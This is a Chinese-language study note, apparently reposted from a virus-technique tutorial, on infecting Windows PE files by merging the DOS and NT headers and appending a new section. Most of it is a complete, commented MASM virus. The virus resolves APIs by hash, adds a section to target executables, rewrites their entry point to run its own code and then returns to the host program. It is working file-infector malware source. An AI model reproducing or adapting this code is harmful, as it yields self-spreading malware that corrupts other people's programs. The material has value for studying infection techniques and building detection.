变形PE头添加节形式感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题

1> 变形PE头的原理:

这里的变形PE头的思路是用的比较方便的方法,就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员.

一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic   (2).e_lfanew。其他的成员PE LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。 空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及 节表结构尾部还存在一些空隙,这对我们写入一个新的节表结构是足足有余的。

首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列 使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。 我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。

我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是在IMAGE_NT_HEADER前补12个字节(从‘MZ‘开始数,数到BaseOfData为3ch),这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是(1).e_magic   (2).e_lfanew。所以我们将前12个字节中的前两个字节写入‘MZ‘, 然后将BaseOfData中的偏移写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了.

2> 变形PE头添加节的实现过程

; 链接选项中加入/SECTION:.text, RWE, RadAsm中逗号替换为|
02.    .386
03.    .model flat, stdcall
04.    option casemap:none
05.
06.include windows.inc
07.
08[email protected] macro str
09.
10.    call @f
11.    db str, 0
12.@@:
13.
14.    endm
15.
16.pushad_eax equ 1ch
17.pushad_edx equ 14h
18.pushad_esi equ 04h
19.pushad_edi equ 00h
20.
21.    .code
22.
23.VirusStart:
24.    pushad
25.    call Dels
26.    int 3
27.    int 3
28.    int 3
29.
30.Dels:
31.    pop ebp
32.    sub ebp, Dels - 3   ; call入栈的是第一个int 3的地址,所以减的时候Dels要减到第一个int 3
33.
34.    ; Get kernel32
35.    call GetKrnlBase
36.
37.    lea edi, [ebp + dwFunc] ; edi指向dwFunc
38.    push edi
39.    push eax
40.    call GetFuncAddress
41.
42.    @pushsz ‘user32‘
43.    call dword ptr [ebp + _LoadLibrary] ; 调用_LoadLibrary处的地址
44.
45.    push edi
46.    push eax
47.    call GetFuncAddress
48.
49.    test ebp, ebp       ; 如果是在病毒的自己程序中,ebp为0,不会存在重定位问题
50.    jz _Inject      ; 如果是在病毒自己程序中就跳
51.
52.    push 0          ; 如果是在被感染的程序中,就弹出一个对话框并继续感染其他文件
53.    @pushsz ‘Virus Demo‘
54.    @pushsz ‘This program is infected :)‘
55.    push 0
56.    call dword ptr [ebp + _MessageBox]
57.
58.    push dword ptr [ebp + JmpHost + 1]  ; 将原程序OEP入栈
59.    pop dword ptr [esp + pushad_eax]    ; 将原程序OEP弹入程序开始pushad保存的eax中
60.
61.    @pushsz ‘test2.exe‘
62.    call Inject
63.    popad
64.
65.    push eax    ; 原程序OEP入栈
66.    ret     ; 调到原程序OEP
67.
68._Inject:
69.    @pushsz ‘test.exe‘
70.    call Inject
71.    popad
72.    ret
73.
74.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
75.; Arguments:
76.;   None
77.; Return value:
78.;   Success     - eax = KrnlBase
79.;   Failure     - eax = -1
80.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
81.GetKrnlBase:
82.    push dword ptr 006ch
83.    push dword ptr 006c0064h
84.    push dword ptr 002e0032h
85.    push dword ptr 0033006ch
86.    push dword ptr 0065006eh
87.    push dword ptr 00720065h
88.    push word ptr 006bh
89.    mov ebx, esp
90.
91.    assume fs:nothing
92.    mov eax, fs:[30h]
93.    test eax, eax
94.    js _Os9x
95.    mov eax, [eax + 0ch]
96.    mov eax, [eax + 1ch]
97.
98._Search:
99.    or eax, eax
100.    jz _NotFound
101.    inc eax
102.    jz _NotFound
103.    dec eax
104.    lea esi, [eax + 1ch]        ; eax + 1ch = BaseDllName
105.    mov esi, [esi + 4]      ; esi 指向UNICODE_STRING.BUFFER
106.    mov ecx, dword ptr 13
107.    mov edi, ebx
108.    repz cmpsw
109.    or ecx, ecx
110.    jz _Found
111.    mov eax, [eax]
112.    jmp _Search
113.
114._NotFound:
115.    or eax, 0ffffffffh
116.    jmp _Result
117.
118._Found:
119.    mov eax, [eax + 08h]
120.    jmp _Result
121.
122._Os9x:
123.    mov eax, [eax + 34h]
124.    lea eax, [eax + 7ch]
125.    mov eax, [eax + 3ch]
126.
127._Result:
128.    add esp, 26
129.    ret
130.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
131.; Arguments:
132.;   [esp]       - return address
133.;   [esp + 4]   - hModule
134.;   [esp + 8]   - pHashList
135.; Return value:
136.;   None
137.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
138.GetFuncAddress:
139.    pushad
140.    mov ebx, [esp + 4 * 8 + 4]  ; Get hModule, First arguments
141.    mov edx, [ebx + 3ch]
142.    mov esi, [ebx + edx + 78h]  ; esi = PE Header.Data Directory[0].VirualAddress
143.    lea esi, [ebx + esi + 18h]  ; esi->ExportTable.NumberOfNames
144.    lodsd
145.    xchg eax, ecx           ; ecx = NumberOfNames
146.    lodsd
147.    add eax, ebx
148.    xchg eax, ebp           ; ebp = AddressOfFunctions
149.    lodsd
150.    add eax, ebx
151.    xchg eax, edx           ; edx = AddressOfNames
152.    lodsd
153.    add eax, ebx
154.    push eax            ; [esp] = AddressOfNameOrdinals
155.    mov esi, edx            ; esi = AddressOfNames
156.
157._NextFunc:
158.    lodsd
159.    add eax, ebx
160.
161.    ; Make Hash
162.    xor edx, edx
163.
164._MakeHash:
165.    rol edx, 3
166.    xor dl, byte ptr [eax]
167.    inc eax
168.    cmp byte ptr [eax], 0
169.    jnz _MakeHash
170.
171.    mov eax, [esp]
172.    add dword ptr [esp], 2
173.    mov edi, [esp + 4 * 8 + 4 + 8]
174.
175._ScanDwFunc:
176.    cmp dword ptr [edi], edx
177.    jnz _NextHash
178.    movzx eax, word ptr [eax]
179.    mov eax, [ebp + eax * 4]
180.    add eax, ebx
181.    scasd       ; 递增到存储地址的地方
182.    stosd
183.    jmp _Ret
184.
185._NextHash:
186.    scasd
187.    scasd       ; 越过第一个api hash和存储地址区域
188.    cmp dword ptr [edi], 0
189.    jne _ScanDwFunc
190.
191._Ret:
192.    loop _NextFunc
193.    pop ecx
194.    popad
195.    ret 8
196.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
197.; Arguments:
198.;   [esp]       - return address
199.;   [esp + 4]   - lpMemory
200.; Return value:
201.;   Success     - CF = 1
202.;   Faiulre     - CF = 0
203.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
204.IsPe:
205.    mov edx, [esp + 4]
206.    cmp word ptr [edx], ‘ZM‘
207.    jnz _IP_RetFalse
208.    add edx, [edx + 3ch]
209.    cmp word ptr [edx], ‘EP‘
210.    jnz _IP_RetFalse
211.
212._IP_RetTrue:
213.    stc
214.    ret 4 * 1
215.
216._IP_RetFalse:
217.    clc
218.    ret 4 * 1
219.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
220.; Arguments:
221.;   [esp]       - return address
222.;   [esp + 4]   - lpFileName
223.; Return value:
224.;   True        - CF - 1
225.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
226.IsFileType:
227.    push 0                  ; 留出空间存放结果
228.    push esp                ; 输出参数
229.    push dword ptr [esp + 4 * 2 + 4]
230.    call dword ptr [ebp + _GetBinaryType]   ; 调用GetBinaryType
231.    pop eax                 ; 将输出参数中的值赋给eax
232.    ; 32BIT_BINARY = 0
233.    test eax, eax
234.    jne _IFT_RetFalse
235.
236._IFT_RetTrue:
237.    stc
238.    ret 4 * 1
239.
240._IFT_RetFalse:
241.    clc
242.    ret 4 * 1
243.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
244.; Arguments:
245.;   [esp]       - return address
246.;   [esp + 4]   - lpFileName
247.; Return Value:
248.;   None
249.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
250.Inject:
251.    pushad
252.    mov esi, [esp + 4 * 8 + 4]  ; esi = lpFileName
253.
254.    ;++
255.    ; Is File Pe Format
256.    push esi
257.    call IsFileType
258.    jnc _IJ_Result          ; 不是32位二进制文件跳走
259.    ;--
260.
261.    xor eax, eax
262.    push eax
263.    push eax
264.    push OPEN_EXISTING
265.    push eax
266.    push FILE_SHARE_WRITE
267.    push GENERIC_READ or GENERIC_WRITE
268.    push esi
269.    call [ebp + _CreateFile]    ; 打开文件lpFileName
270.    cmp eax, -1
271.    jz _IJ_Result
272.
273.    xchg eax, ebx           ; ebx = hFile
274.
275.    push 0
276.    push ebx
277.    call [ebp + _GetFileSize]
278.    push eax            ; push File size
279.
280.    push PAGE_READWRITE
281.    push MEM_COMMIT
282.    push eax
283.    push 0
284.    call [ebp + _VirtualAlloc]
285.    pop edx             ; edx = file size, eax = memory address
286.
287.    test eax, eax
288.    jz _IJ_CloseHandle
289.
290.    xchg eax, edi           ; edi = memory address
291.    mov dword ptr [ebp + _FreeSize], edx
292.    push 0
293.    push esp
294.    push dword ptr [ebp + _FreeSize]
295.    push edi            ; 将文件读取到edi
296.    push ebx
297.    call [ebp + _ReadFile]
298.    test eax, eax
299.    jz _FreeMem
300.
301.    push edi            ; 读取的文件数据
302.    call IsPe
303.    jnc _FreeMem
304.
305.    push Virus_Len
306.    push edi
307.    call AddSectionTable        ; 添加节表, 返回后edx = NewSection VirtualAddress(病毒入口RVA)
308.
309.    ;++
310.    ; Update Oep, Write JmpHost
311.    mov eax, edi            ; eax为文件数据
312.    add eax, [eax + 3ch]        ; eax = PE Header
313.    mov ecx, edx            ; ecx = Virus entry rva
314.    xchg ecx, [eax + 28h]       ; [eax + 28h] = AddressOfEntryPoint程序执行入口RVA,和ecx交换
315.    add ecx, [eax + 34h]        ; [eax + 34h] = ImageBase程序的建议装载地址
316.    mov dword ptr [ebp + JmpHost + 1], ecx  ; 保存ImageBase + AddressOfEntryPoint = Oep
317.    ;--
318.
319.    ; 将文件指针指向开始处
320.    push FILE_BEGIN
321.    push 0
322.    push 0
323.    push ebx
324.    call [ebp + _SetFilePointer]
325.
326.    ; 将更改后的文件数据写入文件
327.    push 0              ; 留位置用于下面 push esp 做输出参数
328.    push esp
329.    lea eax, [ebp + _FreeSize]
330.    push dword ptr [eax]
331.    push edi
332.    push ebx
333.    call [ebp + _WriteFile]
334.    test eax, eax
335.    jz _FreeMem
336.
337.    ; 在文件尾部扩展出Virus_Len长度的空间
338.    push FILE_END
339.    push 0
340.    push Virus_Len
341.    push ebx
342.    call [ebp + _SetFilePointer]
343.
344.    ; 确定文件结尾
345.    push ebx
346.    call [ebp + _SetEndOfFile]
347.
348.    ; 从当前文件指针(文件结尾)往前移动Virus_Len字节,准备写入病毒代码
349.    push FILE_CURRENT
350.    push 0
351.    push -(Virus_Len)
352.    push ebx
353.    call [ebp + _SetFilePointer]
354.
355.    push 0          ; 为下一句指令留位置
356.    push esp
357.    push Virus_Len
358.    lea eax, [ebp + VirusStart]
359.    push eax        ; 从VirusStart开始向文件当前文件指针指向的位置写入Virus_Len字节
360.    push ebx
361.    call [ebp + _WriteFile]
362.    test eax, eax
363.    jz _FreeMem
364.
365._FreeMem:
366.    push MEM_DECOMMIT
367.    _FreeSize = $ + 1   ; $ + 1为push指令后面的操作数的地址,上面将file size写入此处
368.    push $
369.    push edi
370.    call [ebp + _VirtualFree]
371.
372._IJ_CloseHandle:
373.    push ebx
374.    call [ebp + _CloseHandle]
375.
376._IJ_Result:
377.    popad
378.    ret 4
379.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
380.; Arguments:
381.;   [esp]           - return address
382.;   [esp + 4 * 8 + 4]   - pMemory
383.;   [esp + 4 * 8 + 8]   - dwLen
384.; Return Value:
385.;   eax = New section PhysicalOffset
386.;   edx = NewSection VirtualOffset
387.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
388.AddSectionTable:
389.    pushad
390.    mov ebx, [esp + 4 * 8 + 4]  ; ebx = 映像起始
391.    mov esi, ebx
392.    add esi, [esi + 3ch]        ; esi指向pe头
393.
394.    ;++
395.    ; edi = Section Table
396.    ; + 4是加上IMAGE_NT_HEADERS结构里的Signature的长度
397.    ; IMAGE_FILE_HEADER.SizeOfOptionalHeader是相对于IMAGE_OPTIONAL_HEADER32的偏移
398.    ; 这里需要的是相对于IMAGE_NT_HEADERS的偏移
399.    movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.SizeOfOptionalHeader + 4]  ; IMAGE_OPTIONAL_HEADER32结构长度
400.    lea edi, dword ptr [esi + ecx + 4 + sizeof IMAGE_FILE_HEADER]   ; edi指向节表
401.    ;--
402.
403.    ;++
404.    ; Clear Entry Bound Import
405.    lea edx, [esi + 74h]
406.    cmp dword ptr [edx], 10
407.    jl _GoSectionTable
408.    mov dword ptr [edx + 4 + 11 * 8], 0 ; 清除Entry bound import
409.    ;--
410.
411._GoSectionTable:
412.    ;++
413.    ; edx = First section offset
414.    ; edi = Last section table offset
415.    ; 这里为什么要取文件偏移呢,因为申请的内存中读取的文件数据
416.    ; 并没有按照内存粒度对齐,还是和文件中一样的
417.    mov edx, [edi + IMAGE_SECTION_HEADER.PointerToRawData]
418.    add edx, ebx    ; 节在文件中的位置
419.    movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.NumberOfSections + 4]  ; 节表数量
420.    imul ecx, ecx, sizeof IMAGE_SECTION_HEADER  ; 所有节表的长度
421.    add edi, ecx        ; edi = 节表尾部
422.    ;--
423.
424.    ;++
425.    ; 扩大PE头结构
426.    ; BaseOfData等于.lfanew
427.    push edx
428.    mov eax, edi
429.    sub edx, eax        ; 计算出第一个节和节表中间的空隙大小
430.    cmp edx, sizeof IMAGE_SECTION_HEADER
431.    pop edx
432.    jge _AddSectionTable    ; 能够存放下一个节表就跳,然后添加~
433.
434.    ; 测试扩展是否已存在
435.    cmp word ptr [ebx + 0ch], ‘EP‘  ; 如果开始+0ch就是‘PE‘,说明PE头已变形
436.    jnz _Expand
437.    xor eax, eax
438.    mov [esp + pushad_eax], eax
439.    jmp _AST_Result
440.
441._Expand:
442.    sub eax, esi            ; 计算PE头到节表结尾的距离
443.    xchg eax, ecx           ; ecx = 距离
444.    pushad
445.    lea edi, [ebx + 0ch]        ; edi指向程序开始偏移0ch处
446.    mov dword ptr [esp + pushad_esi], edi   ; 修改pushad保存的esi为edi
447.    cld
448.    rep movsb               ; 循环复制字节, 将NT头和节表复制到程序开始偏移0ch处
449.    mov dword ptr [esp + pushad_edi], edi   ; 此时edi为新的节表尾部
450.
451.    sub edx, edi    ; edx = 第一个节的文件偏移
452.    xchg ecx, edx   ; ecx = 第一个节和新节表尾的距离
453.    xor eax, eax
454.    rep stosb   ; 新节表为到第一个节中间的数据清0
455.    popad
456.
457.    mov dword ptr [ebx + 3ch], 0ch  ; 此处原理参考PE头变形
458.    ;--
459.
460._AddSectionTable:
461.    ; Inc Num
462.    inc word ptr [esi + 06h]        ; 节表数量加1
463.    ; Section Name
464.    mov dword ptr [edi], ‘tesT‘     ; 名叫Test的节
465.    ; Physical size
466.    push dword ptr [esp + 4 * 8 + 8]    ; 取出dwLen参数作为节的长度
467.    pop dword ptr [edi + 10h]
468.    ; Physical offset
469.    lea edx, [edi - 28h]            ; 指向最后一个节表
470.    mov eax, [edx + 14h]            ; 获取最后一个节的文件偏移
471.    mov ecx, [edx + 10h]            ; 获取最后一个节的长度
472.    add eax, ecx                ; 最后一个节的尾部偏移
473.    mov dword ptr [edi + 14h], eax      ; 新节的偏移
474.    mov dword ptr [esp + pushad_eax], eax   ; 修改pushad的eax为新节的偏移
475.    ; Virtual size
476.    push  dword ptr [esp + 4 * 8 + 8]   ; 取dwLen
477.    pop dword ptr [edi + 8h]
478.    ; Virtual offset
479.    push dword ptr [esi + 50h]      ; 内存中整个PE映像的尺寸
480.    pop eax                 ; 弹入eax
481.    mov dword ptr [edi + 0ch], eax      ; eax = virus开始处的偏移,pe映像尺寸是经过内存粒度对齐的
482.    mov [esp + pushad_edx], eax     ; 将Virus的地址修改到edx
483.    ; Flags
484.    mov dword ptr [edi + 24h], 0e0000020h
485.    ; SizeOfImage
486.    mov ecx, [edi + 08h]
487.    add ecx, [edi + 0ch]            ; 原映像大小加上添加的代码大小
488.    mov dword ptr [esi + 50h], ecx      ; 修改映像大小
489.
490._AST_Result:
491.    popad
492.    ret 8
493.
494.JmpHost:
495.    push $
496.    ret
497.
498.dwFunc:
499.                dd  0C0D6D616h
500.    _CloseHandle        dd  0
501.
502.                dd  038C62A7Ah
503.    _CreateFile     dd  0
504.
505.                dd  0ABD10842h
506.    _GetBinaryType      dd  0
507.
508.                dd  09554EFE7h
509.    _GetFileSize        dd  0
510.
511.                dd  00BE25545h
512.    _ReadFile       dd  0
513.
514.                dd  0A97175F9h
515.    _SetEndOfFile       dd  0
516.
517.                dd  0A9D1FD70h
518.    _SetFilePointer     dd  0
519.
520.                dd  0AB16D0AEh
521.    _VirtualAlloc       dd  0
522.
523.                dd  0B562D3DBh
524.    _VirtualFree        dd  0
525.
526.                dd  058D8C545h
527.    _WriteFile      dd  0
528.
529.                dd  0A412FD89h
530.    _LoadLibrary        dd  0
531.
532.                dd  014D14C51h
533.    _MessageBox     dd  0
534.
535. Virus_Len = $ - VirusStart
536.
537.    end VirusStart  

时间: 2024-10-28 21:11:27

变形PE头添加节形式感染学习笔记的相关文章

扩展节形式感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题 今天我们的感染方式是扩展末尾节,因为它很简单.稳定.快捷.那么扩展末尾节顾名思义就是针对被感染对象的最后一个节的扩展.将尾部节的大小扩充,然后将我们的病毒代码Write进去,修改若干的PE结构成员. 知道这些,你肯定会问修改哪些若干成员,为了给大家更直白的感觉,下面我列出了感染中需要修改的结构成员. 1.  SizeOfImage        50h

搜寻节空隙感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题 那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙.一般在病毒技术中,有两种方法. 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积.则取这段区域的偏移. 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病

PE结构、SEH相关知识学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题 PE结构的学习 原文中用fasm自己构造了一个pe,这里贴一个用masm的,其实是使用WriteFile API将编写的PE数据写成文件~也没啥好说的,PE结构在这里没有仔细介绍,需要可以另外查询,剩下要说的的基本都在代码注释里了 参考:点击打开链接(PEDIY技术之新思路(二)_用'高级'编译器MASM实现自定义PE文件结构) Pe.asm: REMO

MyBatis association的两种形式——MyBatis学习笔记之四

一.嵌套的resultMap 这 种方法本质上就是上篇博文介绍的方法,只是把教师实体映射从association元素中提取出来,用一个resultMap元素表示.然后 association元素再引用这个resultMap元素.修改上篇博文示例的StudentMapper.xml如下: <?xml version="1.0" encoding="utf8"?> <!DOCTYPE mapper PUBLIC "-//mybatis.org

MyBatis collection的两种形式——MyBatis学习笔记之九

与association一样,collection元素也有两种形式,现介绍如下: 一.嵌套的resultMap 实际上以前的示例使用的就是这种方法,今天介绍它的另一种写法.还是以教师映射为例,修改映射文件TeacherMapper.xml如下(点击此处进入嵌套resultMap形式的示例源码下载页面.注:本示例代码是在修改本系列的上篇博文示例代码的基础上完成的,用到了MapperScannerConfigurer和注解等知识.对这些知识不熟悉的读者,可参考上篇博文:http://legend20

iOS类添加方法、属性学习笔记

一.在运行时为类添加方法 我们首先定义了一个EmptyClass,继承NSObject,没有任何自带方法,接着定义了一个函数.这里提一句,Obj-C的方法(method)就是一个至少需要两个参数(self,_cmd)的C函数,这个函数仅仅输出一句Hello.接下来在addMethod方法中,我们调用class_addMethod()为EmptyClass添加方法,class_addMethod()是这样定义的: BOOL class_addMethod(Class cls, SEL name,

反病毒攻防研究第005篇:添加节区实现代码的植入

一.前言 上一篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题,就是我们想要植入的代码的长度不能够比缝隙大,否则需要把自身的代码截成几个部分,再分别插入不同的缝隙中.而这次所讨论的方法是增加一个节区,这个节区完全可以达到私人订制的效果,其大小完全由我们自己来决定,这样的话,即便是代码较长,也不用担心.而这种方式最大的缺陷就是不利于恶意代码自身的隐藏,因此在现实中可能并不常用.其实,我在这里讨论节区的添加,是为了以后更加深入的讨论打下基础,因为在加壳以及免杀技术中,经常会对PE文件添加节区.这

Vue学习笔记入门篇——组件的使用

本文为转载,原文:Vue学习笔记入门篇--组件的使用 组件定义 组件 (Component) 是 Vue.js 最强大的功能之一.组件可以扩展 HTML 元素,封装可重用的代码.在较高层面上,组件是自定义元素,Vue.js 的编译器为它添加特殊功能.在有些情况下,组件也可以是原生 HTML 元素的形式,以 is 特性扩展. 组件使用 注册 注册一个全局组件,你可以使用 Vue.component(tagName, options).组件在注册之后,便可以在父实例的模块中以自定义元素 的形式使用.

Vue学习笔记入门篇——组件的通讯

本文为转载,原文:Vue学习笔记入门篇--组件的通讯 组件意味着协同工作,通常父子组件会是这样的关系:组件 A 在它的模版中使用了组件 B.它们之间必然需要相互通信:父组件要给子组件传递数据,子组件需要将它内部发生的事情告知给父组件.然而,在一个良好定义的接口中尽可能将父子组件解耦是很重要的.这保证了每个组件可以在相对隔离的环境中书写和理解,也大幅提高了组件的可维护性和可重用性.在 Vue 中,父子组件的关系可以总结为 props down, events up.父组件通过 props 向下传递